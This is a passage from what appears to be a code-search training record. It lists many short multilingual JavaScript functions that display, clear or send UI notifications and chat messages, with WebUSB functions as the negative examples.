clearSuccessMessage() {\\n\\n }\",\n \"function mensajes(respuesta){\\n\\n\\t\\t\\t\\tvar foo = respuesta;\\n\\n\\t\\t\\t\\t\\tswitch (foo) {\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"no_exite_session\\\":\\n\\t\\t\\t\\t\\t\\t//============================caso 1 NO EXISTE SESSION==================//\\n\\t\\t\\t\\t\\t\\tswal(\\n\\t\\t\\t\\t\\t\\t\\t\\t'Antes de comprar Inicia tu Session en la Pagina?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'Recuerda si no tienes cuenta en la pagina puedes registrarte?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'question'\\n\\t\\t\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"saldo_insuficiente\\\":\\n\\t\\t\\t\\t\\t\\t//==============CASO 2 SALDO INSUFICIENTE=======================//\\n\\n\\t\\t\\t\\t\\t\\tswal({\\n\\t\\t\\t\\t\\t\\t\\ttype: 'error',\\n\\t\\t\\t\\t\\t\\t\\ttitle: 'Oops...',\\n\\t\\t\\t\\t\\t\\t\\ttext: 'Tu saldo es insuficiente para poder realizar la trasaccion, recarga tu monedero e intenta de nuevo',\\n\\t\\t\\t\\t\\t\\t\\tfooter: 'Puedes recargas tu saldo con nostros mas informacion en nuestras redes sociales'\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"inviaMessaggio(){\\n if(this.messaggioInputUtente != ''){\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: this.messaggioInputUtente,\\n status: 'sent',\\n stileMessaggio: 'message-sent'});\\n this.messaggioInputUtente = '';\\n setTimeout(()=>{\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: 'ok',\\n status: 'received',\\n stileMessaggio: 'message-received'});\\n }, 1000);\\n }\\n }\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function mensajeOk(mensaje) {\\n $(\\\"#mensaje\\\").html(\\\"\\\");\\n $(\\\"#mensaje\\\").append(mensaje);\\n mostrarMensaje(\\\"mensaje\\\");\\n ocultaMensaje(\\\"mensaje\\\");\\n}\",\n \"function sent() {\\n console.info(\\\"Fine processo d'invio notizie\\\")\\n}\",\n \"function mensaje (){\\n console.log('mensaje de la funcion');\\n}\",\n \"function imprimeMensaje() {\\r\\n console.log('Hola soy una funcion!');\\r\\n}\",\n \"function mensajeBienvenida() {\\n console.log(\\\"Bienvenido a Fabrega!\\\")\\n console.log(\\\"Ingrese código de artículo a comprar: \\\")\\n console.log(\\\"0001-Televisor\\\\n0002-Computadora\\\\n0003-Heladera\\\")\\n}\",\n \"function pulsaTecla(e){\\n\\tif(getOpcionInterfaz('correccion_rapida') && comprueba_pregunta()) preguntaRespondida();\\n\\treturn false;\\n}\",\n \"function mensaje(mje){\\n //creo un div para contener el mensaje\\n const div = document.createElement('div');\\n //le asigno una clase para su visualizacion\\n div.className = `alerta alert alert-warning mensaje`;\\n //le agrego un mensaje\\n div.appendChild(document.createTextNode(mje));\\n //identifico y asigno el objeto contenenedor del div\\n const contenedor = document.querySelector('.contenedor');\\n //identifico y asigno el objeto para posicionar el mensaje encima del mismo\\n const areaSig = document.querySelector('#card'); \\n //\\n //agregar el div creado al elemento contenedor\\n contenedor.insertBefore(div, areaSig);\\n // Remover el mensaje de alerta\\n //quitar el elemento despues de 2 segundos\\n setTimeout(function() {\\n document.querySelector('.alerta').remove();\\n }, 2000);\\n \\n}\",\n \"mostra_successo(msg) {\\n\\t\\tvar contenuto = document.getElementById(\\\"contenuto\\\");\\n\\t\\twhile ( contenuto.firstChild != null) {\\n\\t\\t\\tcontenuto.removeChild(contenuto.firstChild);\\n\\t\\t}\\n\\t\\t$(\\\"#contenuto\\\").append(msg);\\n\\t\\t\\n\\t}\",\n \"async function valiMess(event){\\n event.preventDefault(); //dont refresh any way\\n let mes = document.getElementById('mes').value.trim()\\n document.getElementById('mes').value = ''\\n if(mes === \\\"\\\"){\\n alert(\\\"message required\\\")\\n event.preventDefault()\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").style.visibility = \\\"visible\\\"\\n await fetch(\\\"/addMessage?mess=\\\"+mes, {method: \\\"post\\\"})\\n .then(res => res.json())\\n .then(response => {\\n for (let i in response) {\\n if(response[i] === \\\"disconnected\\\")\\n stopIntervalAndReturn()\\n else if(response[i] === \\\"message required\\\"){\\n alert(\\\"message required\\\")\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").innerText = response[i]\\n }\\n })\\n .catch(err => (console.log(err.message)))\\n\\n checkNewMessage()\\n }\",\n \"function message(retorno){\\n\\n if(retorno[0] == 'msg'){\\n let msg = $('').addClass('alert alert-'+retorno[1]+' alert-dismissible fadeshow col-md-12');\\n msg.append($('').addClass('close').attr('data-dismiss', 'alert').html('×'))\\n msg.attr('align', 'center').append(''+retorno[2]+'
');\\n msg.css('box-shadow', '2px 2px 3px #000');\\n\\n $('#dinamic').find('div #msg').remove();\\n $('#cadastrarProduto, #estoque, #editEstoque, #editarProduto, #cadastrarMarca, #cadastrarCategoria, #vendaPainelTable').\\n parent().prepend($('').attr('id', 'msg').addClass('row mb-5').html(msg));\\n }\\n}\",\n \"function Mensajes(mensaje) {\\n if (mensaje == 'Transaccion realizada correctamente')\\n $().toastmessage('showSuccessToast', mensaje);\\n else\\n $().toastmessage('showErrorToast', mensaje);\\n}\",\n \"function showMessageMittente(text){\\r\\n\\tif(text == \\\"\\\")\\r\\n\\t\\treturn;\\r\\n\\r\\n\\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_MITTENTE){\\r\\n\\t\\tlastSender = IS_LAST_MITTENTE;\\r\\n\\t\\tchangeLastSender();\\r\\n\\t}\\r\\n\\r\\n\\tshowMessage(text);\\r\\n}\",\n \"function BasariMesaj( text){\\n\\t text = jQuery.trim(text); \\n\\t var dil = \\\"Tebrikler !\\\";\\n\\t if( strcmp( er.lang, \\\"en\\\" ) == 0 )\\n\\t dil = \\\"Congratulations !\\\";\\n\\t if( $(\\\".msgGrowl-container\\\").find(\\\".msgGrowl\\\").length <= 1 ){ \\n\\t $.msgGrowl ({\\n\\t element: $('body').parent(),\\n\\t type: 'success', //$(this).attr ('data-type') // info success warning error\\n\\t title: dil,\\n\\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\\n\\t });\\n\\t }\\n\\t }\",\n \"function mensaje(){\\n\\n\\talert(\\\"Mensaje de Bienvenida\\\");\\n}\",\n \"function message(ar) {\\n\\tif(ar==1){\\n\\t document.getElementById('successMsg').innerHTML +=\\n\\t \\\"Projekt wurde genehmigt!\\\";\\n\\t}\\n\\telse{\\n\\t\\tdocument.getElementById('successMsg').innerHTML +=\\n\\t\\t\\t \\\"Projekt wurde abgelehnt!\\\";\\n\\t}\\n\\t var element = 'snackbar';\\n\\t $(function(){\\n\\t\\t\\t$(function(){\\n\\t\\t\\t\\t$('#'+element).addClass('animated slideInUp');\\n\\t document.getElementById(\\\"snackbar\\\").style.visibility = \\\"visible\\\";\\n\\t\\t\\t\\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\\n\\t\\t\\t\\t\\t$('#'+element).removeClass('animated slideInUp');\\n\\t\\t\\t\\t\\t$(function(){\\n\\t\\t\\t\\t\\t\\t$('#'+element).addClass('animated slideOutDown delay-3s');\\n\\t\\t\\t\\t\\t\\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\\n\\t\\t\\t\\t\\t\\t\\t$('#'+element).removeClass('animated slideOutDown delay-3s');\\n\\t\\t\\t\\t\\t\\t\\t$('#'+element).remove();\\t\\n\\t\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t\\t});\\t\\n\\t\\t\\t\\t});\\n\\t\\t\\t});\\n\\t\\t});\\n\\t}\",\n \"function showComingMsg(data) {\\r\\n addMsg(data, \\\"someone-else\\\");\\r\\n}\",\n \"function nack() {\\n Twibble.messages.unshift(message);\\n Twibble.sendMessage();\\n }\",\n \"function noop() {\\n console.warn('Hermes messaging is not supported.');\\n }\",\n \"function probando(req, res) {\\n res.status(200).send({ message: 'Probando desde del controladaor Message.' });\\n}\",\n \"function message(msg) {\\n var status = document.getElementById('status');\\n status.textContent = msg;\\n setTimeout(function() {\\n status.textContent = '';\\n }, 1500);\\n}\",\n \"TheMessage(msg) {\\n return;\\n }\",\n \"function ack() {\\n Twibble.sendMessage();\\n }\",\n \"mostrarSaludo(mensaje){\\n\\t\\treturn mensaje;\\t\\n\\t}\",\n \"function mensajemodal(mensaje, titulo = \\\"ATENCIÓN\\\") {\\r\\n swal({\\r\\n title: titulo,\\r\\n text: mensaje\\r\\n },\\r\\n function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n });\\r\\n var interval = $interval(function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n }, 3000);\\r\\n }\",\n \"function mensajemodal(mensaje, titulo = \\\"ATENCIÓN\\\") {\\r\\n swal({\\r\\n title: titulo,\\r\\n text: mensaje\\r\\n },\\r\\n function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n });\\r\\n var interval = $interval(function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n }, 3000);\\r\\n }\",\n \"function envoiMessage(mess) {\\r\\n // On recupere le message\\r\\n var message = document.getElementById('message').value;\\r\\n\\r\\n // On appelle l'evenement se trouvant sur le serveur pour qu'il enregistre le message et qu'il l'envoie a tous les autres clients connectes (sauf nous)\\r\\n socket.emit('nouveauMessage', { 'pseudo' : pseudo, 'message' : message });\\r\\n\\r\\n // On affiche directement notre message dans notre page\\r\\n document.getElementById('tchat').innerHTML += ''+pseudo+' : '+message+'';\\r\\n\\r\\n // On vide le formulaire\\r\\n document.getElementById('message').value = '';\\r\\n\\r\\n // On retourne false pour pas que le formulaire n'actualise pas la page\\r\\n return false;\\r\\n}\",\n \"function msg() {\\r\\n\\t\\tsetTimeout(function () {\\r\\n\\t\\t\\tif(message !== lastMessage) {\\r\\n\\t\\t\\t\\t//client.sendMessage(chanObj, message);\\r\\n\\t\\t\\t\\tchanObj.send(message);\\r\\n\\t\\t\\t\\tlastMessage = message;\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tmsg();\\r\\n\\t\\t}, 100);\\r\\n\\t}\",\n \"function setMsg(msg) {\\n\\tif (msg != \\\"\\\") {\\n\\t\\t$('#signal-msg').html(msg).fadeOut(1000);\\n\\t\\treturn true;\\n\\t}\\n\\treturn false;\\n}\",\n \"static messageNoData() {\\n //\\n noDataMessage.style.display = 'block';\\n }\",\n \"function noThanks () { \\n console.log (\\\"OK, maybe another day. Bye!\\\"); \\n}\",\n \"function saludo3(mensaje){\\n console.log(`Hola buen dia 3 ${mensaje}`);\\n }\",\n \"function emitirAviso(mensagem, id, tempo){\\n let snackbar = document.getElementById(id);\\n snackbar.innerHTML = mensagem;\\n snackbar.className = \\\"show\\\";\\n setTimeout(function(){snackbar.className = snackbar.className.replace(\\\"show\\\", \\\"\\\"); }, tempo);\\n}\",\n \"function inviaMessaggioUtente(){\\n var text_user=($('.send').val());\\n if (text_user) { //la dicitura cosi senza condizione, stà a dire text_user=0\\n templateMsg = $(\\\".template-message .new-message\\\").clone()\\n templateMsg.find(\\\".text-message\\\").text(text_user);\\n templateMsg.find(\\\".time-message\\\").text(ora);\\n templateMsg.addClass(\\\"sendbyUser\\\");\\n $(\\\".conversation\\\").append(templateMsg);\\n $(\\\".send\\\").val(\\\"\\\");\\n setTimeout(stampaMessaggioCpu, 2000);\\n\\n var pixelScroll=$('.containChat')[0].scrollHeight;\\n $(\\\".containChat\\\").scrollTop(pixelScroll);\\n }\\n }\",\n \"function nota(op,msg,time){\\n if(time == undefined)time = 5000;\\n var n = noty({text:msg,maxVisible: 1,type:op,killer:true,timeout:time,layout: 'center'});\\n}\",\n \"function setSucessMessageWithFade(message){\\n setSucessMessage(message);\\n setTimeout(function() {\\n setSucessMessage('');\\n }, 3000);\\n }\",\n \"function chatbotResponse() {\\n botMessage = \\\"Introduzca la respuesta correcta por favor\\\"; //the default message\\n\\n if (lastUserMessage === \\\"si\\\" || lastUserMessage === \\\"Si\\\") {\\n botMessage = \\\"Perfecto\\\";\\n }\\n\\n if (counter === 0) {\\n counter = 1;\\n botMessage =\\n \\\"Soy tu asesor DAP legal, ¿Quieres que te ayude a formalizar un préstamo?\\\";\\n }\\n}\",\n \"function OnSuccessCallMaladie(data, status, jqXHR) {\\n\\t\\t\\tnotif(\\\"success\\\", \\\"Brief envoyé avec succès !\\\");\\n\\t\\t}\",\n \"HandleMessage( msg ) {\\n return false;\\n }\",\n \"function checkMessages() {\\n messageBackground({\\n action: 'check messages'\\n });\\n}\",\n \"function quitarMensaje() {\\n document.getElementsByTagName('span')[0].textContent = \\\"\\\";\\n clearInterval(cuentaAtras);\\n }\",\n \"function functionNexMessage(){\\n if(messageQueue.length == 0) return;\\n\\n $(\\\"#messageArea\\\").prepend(messageQueue[0]);\\n $(messageQueue[0]).fadeIn();\\n $(messageQueue[0]).animate({bottom:'0px'},1000);\\n\\n messageQueue[0].messageTimeout = setTimeout(function () {\\n $.when($(messageQueue[0]).fadeOut(500))\\n .done(function() {\\n $(messageQueue[0]).remove();\\n messageQueue.splice(0, 1);\\n functionNexMessage();\\n\\n });\\n }, messageLength);\\n\\n\\n\\n}\",\n \"function AnimateMessage() {\\n var domain_message = $(\\\"div.waiting_message\\\");\\n var is_detect = true;\\n domain_message.fadeToggle(700);\\n if(!domain_message.length) {\\n is_detect = false;\\n return;\\n }\\n console.log(is_detect);\\n setTimeout(arguments.callee, 700);\\n }\",\n \"limpiarMensaje() {\\n const alerta = document.querySelector('.alert');\\n\\n if (alerta) {\\n alerta.remove();\\n }\\n }\",\n \"function printErrorMessage(msg){\\r\\n\\t\\t console.log(\\\"in printmessage() message received: \\\"+msg);\\r\\n\\t\\t if(msg != \\\"\\\")\\r\\n\\t\\t\\t setTimeout(printErrorMessage,7000,\\\"\\\");\\r\\n\\t\\t $(viewLeavesMessage_id).text(msg);\\r\\n\\t\\t \\r\\n\\t }\",\n \"function mostrarAyuda(msg) {\\n $.notify({\\n message: msg\\n }, {\\n type: 'info',\\n delay: 3000,\\n placement: {\\n align: 'center'\\n },\\n z_index: 99999,\\n });\\n}\",\n \"function getWelcomeMessage(){\\n g.msgNo = 0;\\n serverRequest(getParams(\\\"none\\\"),false);\\n}\",\n \"function addMesaj(mesaj,disappear)\\r\\n { \\r\\n \\r\\n mesaj[0].id=\\\"mesaj\\\";\\r\\n \\tmesaj[0].innerHTML=mesaj.innerHTML;\\r\\n \\tdocument.body.appendChild(mesaj[0]);\\r\\n\\r\\n \\tvar MessageDisapears=setTimeout(function(){\\r\\n if(disappear)\\r\\n { \\r\\n console.log(disappear);\\r\\n var m=document.getElementById(\\\"mesaj\\\");\\r\\n document.body.removeChild(m);\\r\\n }\\r\\n \\t},joc.getMsgDisappears());\\r\\n }\",\n \"function ok() {\\n timer();\\n var msgCopy = $(\\\"#template .msgpc\\\").clone();\\n msgCopy.find(\\\".txt\\\").text(\\\"ok\\\");\\n msgCopy.find(\\\".time\\\").text(timer);\\n $(\\\"#chatwindow .chatsbox.active .chatbox\\\").prepend(msgCopy);\\n }\",\n \"function sendMessage() {\\n sendNewMessage({ dsText: valueInput.trim(), usuario: getUsuarioLogado() });\\n setValueInput('');\\n }\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n sendMessage();\\n}\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n}\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n}\",\n \"function afficherErreur(message) {\\n $('#manitouAlertes').html('' + message).removeClass('manitouAlerteSucces').addClass('manitouAlerteErreur').show().delay(4000).hide(400);\\n }\",\n \"function showMessage(msg){\\n $(message).append(''+msg+'');\\n runClean(3000);\\n}\",\n \"showAlertAcessoParticipante(sucess_error,mensagem){\\n if(sucess_error==='success'){\\n const div = document.createElement('div')\\n div.id = 'message'\\n div.innerHTML = `\\n \\n \\n \\n \\n \\n ${mensagem}
\\n \\n \\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n if(sucess_error==='error'){\\n const div = document.createElement('div')\\n div.id = 'message'\\n div.innerHTML = `\\n \\n \\n \\n \\n \\n ${mensagem}
\\n \\n \\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n setTimeout(() => {\\n document.getElementById('message').remove()\\n }, 3000);\\n }\",\n \"function sendMessage(){\\n //Gets the message that will be sent to the server and put it into variable\\n var msgToSend = g.messageBox.value.trim()\\n \\n //Checks whethers it is null, does not want to send empty string\\n if(msgToSend != \\\"\\\"){\\n //Stops the script from updating every 5 seconds, makes it synchronous,\\n //then sends messages and finally makes it asynchronous again.\\n clearInterval(g.updateInterval);\\n serverRequest(getParams(msgToSend),false);\\n g.updateInterval = setInterval(getMessages, 5000); \\n g.messageBox.value = \\\"\\\"; //clear message box\\n }\\n}\",\n \"function messageNoHousehold() {\\n addMessage('You aren\\\\'t a registered member of a household. Click \\\"Household\\\" on the navigation menu to create or join a household.', 'error');\\n}\",\n \"_msgCallback(err) {\\n if (err) {\\n console.log(err);\\n // TODO: Handle it by showing a prompt\\n }\\n\\n // Re-enable message composer\\n this.setState({\\n busy: false\\n });\\n }\",\n \"function test(message) {\\n return 0;\\n}\",\n \"function HataMesaj( text){\\n\\t text = jQuery.trim(text); \\n\\t var dil = \\\"Hata !\\\";\\n\\t if( strcmp( er.lang, \\\"en\\\" ) == 0 )\\n\\t dil = \\\"Error !\\\";\\n\\t if( $(\\\".msgGrowl-container\\\").find(\\\".msgGrowl\\\").length <= 1 ){ \\n\\t $.msgGrowl ({\\n\\t element: $('body').parent(),\\n\\t type: 'error', //$(this).attr ('data-type') // info success warning error\\n\\t title: dil,\\n\\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\\n\\t });\\n\\t }\\n\\t }\",\n \"function sendMessage(){}\",\n \"function failedsent() {\\n console.error(\\\"Invio delle notizie non riuscito!\\\")\\n $(\\\"#formerr\\\").fadeIn(750);\\n $(\\\"#infomsg\\\").text(\\\"Invio delle notizie non riuscito!\\\");\\n $(\\\"#formerr\\\").delay(3000).fadeOut(2000);\\n}\",\n \"function obtenerMensaje1(campo){\\n\\tvar mensaje = \\\"\\\";\\n switch(campo){\\n case 'idproraz': mensaje = \\\"Si modificó algún campo de este módulo debe justificar.\\\";\\n\\tbreak;\\n\\t}\\n\\treturn mensaje; \\n\\t\\n}\",\n \"function alertNotificar(texto, tipo){\\n PNotify.removeAll()\\n new PNotify({\\n title: 'Mensaje de Información',\\n text: texto,\\n type: tipo,\\n hide: true,\\n delay: 7000,\\n styling: 'bootstrap3',\\n addclass: ''\\n });\\n }\",\n \"function showMessageDestinatario(text){\\r\\n\\tif(text == \\\"\\\")\\r\\n\\t\\treturn;\\r\\n\\r\\n\\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\\r\\n\\t\\tlastSender = IS_LAST_DESTINATARIO;\\r\\n\\t\\tchangeLastSender();\\r\\n\\t}\\r\\n\\r\\n\\tshowMessage(text);\\r\\n}\",\n \"function notif(message, success){\\n success = (typeof success !== 'undefined') ? success : true;\\n $('' + message + '')\\n .prependTo(\\\"body\\\")\\n .fadeIn('fast')\\n .delay(5000)\\n .fadeOut('fast')\\n .queue(function(){$(this).remove()});\\n}\",\n \"function checkMessage(inputMsg) {\\n if(inputMsg == undefined){\\n return \\\"\\\";\\n }\\n else{\\n return inputMsg;\\n }\\n }\",\n \"function notyMessage(statue) {\\n $.noty.defaults.killer = true; //closes existing notys\\n noty({\\n text: 'Congratulations, you found ' + statue.name + '. X ',\\n layout: 'topCenter',\\n closeWith: ['click'],\\n type: 'success'\\n });\\n}\",\n \"registeredMsg() {\\n return 'You are already regsitered!';\\n }\",\n \"function ClearStatusMsg() \\n {\\n\\n SetStatusMsg(\\\"StatusMsg\\\", \\\"\\\");\\n }\",\n \"function mensagem(texto) {\\n $(\\\"#erro p\\\").text(texto).addClass('alert-danger').addClass('alert');\\n\\n if (texto)\\n $(\\\"#erro\\\").show(\\\"slow\\\");\\n else\\n $(\\\"#erro\\\").hide(\\\"slow\\\");\\n\\n setTimeout(function () {\\n $(\\\"#erro\\\").hide('slow');\\n }, 3000);\\n}\",\n \"function limpaMensagens() {\\n $rootScope.messages.length = 0;\\n }\",\n \"function process_event(event){\\n // Capturamos los datos del que genera el evento y el mensaje\\n var senderID = event.sender.id;\\n var message = event.message;\\n \\n // Si en el evento existe un mensaje de tipo texto\\n if(message.text){\\n console.log('=========MENSAJE DE ============')\\n console.log('Mensaje de ' + senderID);\\n console.log('mensaje: ' + message.text);\\n\\n if(message.text === 'Integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n if(message.text === 'integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n}\\n \\n // Enviamos el mensaje mediante SendAPI\\n //enviar_texto(senderID, response);\\n }\",\n \"function notifyFail(msg) {\\n const notifcns = document.querySelector('#notifications');\\n if (notifcns) notifcns.remove();\\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\\n const notificationsHtml = `${msg}`;\\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\\n document.querySelector('nav .notifications').classList.remove('hide');\\n }\",\n \"function displayMessage(msg) {\\r\\n $('#msg').bind(\\\"DOMSubtreeModified\\\", function () {\\r\\n window.setTimeout(function () {\\r\\n $(\\\".alert\\\").fadeTo(500, 0).slideUp(500, function () {\\r\\n $(this).remove();\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n });\\r\\n }, 2500);\\r\\n });\\r\\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\\r\\n $('#msg').html('' + msg + '');\\r\\n}\",\n \"function piman_send_message(msg,error){\\n msg = '' + msg + '';\\n\\n $(window).scrollTop($('body').position().top)\\n\\n $(\\\"#notifications_content\\\").html(msg)\\n .addClass(error ? 'error' : 'success');\\n\\n $(\\\"#notifications\\\")\\n .toggle()\\n .delay(5000).fadeOut()\\n .click(function(){$(this).stop(true,true).fadeOut()});\\n\\n}\",\n \"_ackSendMessageHandler(json){\\n\\t if (json.user !== CooperativeEditorParticipants.userName ){\\n \\t\\t\\tthis.domHost.playTTS(json.user);\\n \\t\\t}\\n\\n \\t\\tthis.push('messages', {\\\"user\\\": json.user, \\\"message\\\": json.message, \\\"time\\\": json.time});\\n \\t\\tthis.domHost.playSound(\\\"sendMessage\\\", json.effect, json.position);\\n \\t\\t\\n \\t\\tthis.isTyping = false;\\n }\",\n \"function ChatMessage() {\\n if (document.getElementById(\\\"chatSend\\\").value.trim() != \\\"\\\") {\\n var ChatMsg = document.getElementById(\\\"chatSend\\\");\\n ChatUser(ChatMsg.value);\\n //ChatAdmin(\\\"Please wait\\\");\\n // var blMsg = SendNewMsg(ChatMsg.value);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n //alert(\\\"End\\\");\\n\\n // var blMsg = CallSendMsg(cntMsg);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n var blMsg = ShowAdminMessage(ChatMsg.value);\\n if (blMsg) {\\n cntMsg = cntMsg + 1;\\n }\\n\\n //ChatSuggestions(\\\"test2\\\");\\n ChatMsg.value = \\\"\\\";\\n return false;\\n }\\n}\",\n \"function _noconn()\\n\\t{\\n\\t\\tUTILS.msgbox(\\\"You do not have a good enough signal to complete the request. Please try again later.\\\", \\\"No Connection\\\");\\n\\t}\",\n \"function Fnc_BuscarInformacionHogar(s, e) {\\n\\n if (txtIdentidad.GetText() != \\\"\\\" || txtHogar.GetText() != \\\"\\\") {\\n var NumHogar = (txtHogar.GetText() == \\\"\\\") ? 0 : txtHogar.GetText()\\n if (txtIdentidad.GetText() != \\\"\\\") {\\n if (txtIdentidad.GetText().length != 13) {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error dede de ingresar un numero de identidad valido\\\")\\n $(\\\".error\\\").show()\\n return 0;\\n }\\n }\\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\\n\\n } else {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error no debe de haber campos vacios\\\")\\n $(\\\".error\\\").show()\\n }\\n\\n}\",\n \"_createMessage() {\\n let messageArr = ['абонент', 'абонента', 'абонентов'];\\n\\n function createMessage(number, startWord) {\\n let endMessage = null;\\n let startMessage = (number === 1) ? startWord : (startWord + \\\"o\\\");\\n\\n if(number === 1) {\\n endMessage = messageArr[0];\\n } else if (number == 12\\n || number == 13\\n || number == 14) {\\n\\n endMessage = messageArr[2];\\n } else if( number.toString()[number.toString().length - 1] === '2'\\n || number.toString()[number.toString().length - 1] === '3'\\n || number.toString()[number.toString().length - 1] === '4') {\\n\\n endMessage = messageArr[1];\\n } else {\\n endMessage = messageArr[2];\\n }\\n\\n return startMessage + \\\" \\\" + number + \\\" \\\" + endMessage;\\n }\\n\\n noty({\\n text: createMessage( (this._correctData.length), 'Загружен'),\\n type: 'success',\\n timeout: '3000'\\n });\\n\\n if(this._inCorrectData.length) {\\n noty({\\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\\n type: 'error',\\n timeout: '3000'\\n });\\n }\\n }\",\n \"limparMsgAlert() {\\n divMsg.innerHTML = \\\"\\\";\\n\\n\\n }\",\n \"function congratsMessage(){\\n\\tif (matchedCards.length === 16){\\n\\t\\tsetTimeout(function(){\\n\\t\\t\\ttoggleModal();\\n\\t\\t\\t},1000);\\n\\t\\tstopTimer();\\n\\t}\\n}\",\n \"function callbackValidation(msg){\\n swal({\\n title: msg,\\n text: 'por favor revise sus datos',\\n imageUrl: '../assets/img/callback/missing.png',\\n imageHeight: 90,\\n animation: true,\\n confirmButtonColor: '#4fa7f3'\\n })\\n}\",\n \"function warn(msg){\\n\\t\\t\\n\\t\\tflashCount = 0;\\n\\t\\t\\n\\t\\tif ( null == msg ){\\t\\n\\t\\t\\tfaultMsg=\\\"The inverter has faulted!\\\"; \\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"The inverter has faulted!\\\");\\n\\t\\t} else {\\n\\t\\t\\tfaultMsg=msg;\\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"FAULTS:\\\"+msg);\\n\\t\\t}\\n\\n\\t\\t$(\\\"#alarm\\\").show();\\n\\t\\tif ( !booFault ) {\\n\\t\\t\\tbooFault = true;\\n\\t\\t\\tscreenFlash();\\n\\t\\t\\tsoundAlarm();\\n\\t\\t}\\n\\t\\t\\n\\n\\t}\",\n \"function mensaje(){\\n\\treturn 'Hola Mundo JavaScript';\\n}\",\n \"function onSendMessage(){\\n var msg = document.getElementById(\\\"usermsg\\\").value;\\n if(msg == \\\"\\\") alert(\\\"assicurati di inserire il testo da inviare\\\");\\n else {\\n if(sex == \\\"lui\\\")\\n msg = \\\"newMsg \\\" + name + \\\": \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"\\\";\\n\\telse\\n msg = \\\"newMsg \\\" + name + \\\": \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"\\\";\\n //alert(msg);\\n connection.send(msg);\\n document.getElementById(\\\"usermsg\\\").value=\\\"\\\";\\n }\\n}\",\n \"function testingMSGS(){\\n \\n}\",\n \"function mensaje(){\\r\\n document.write(\\\"Holissss\\\");\\r\\n document.write(\\\"*************\\\")\\r\\n}\",\n \"function submitMsg() {\\n // only submit messages\\n if(ctrl.inputMsg.length > 0) {\\n SocketService.submitMsg(ctrl.inputMsg);\\n\\n // empty the message box\\n ctrl.inputMsg = '';\\n }\\n }\",\n \"function removeMSG(msg) {\\n setTimeout(function () {\\n var Idx = msg.Msg;\\n var isConf = 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sendToken2Device (unlockToken) {\n\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device 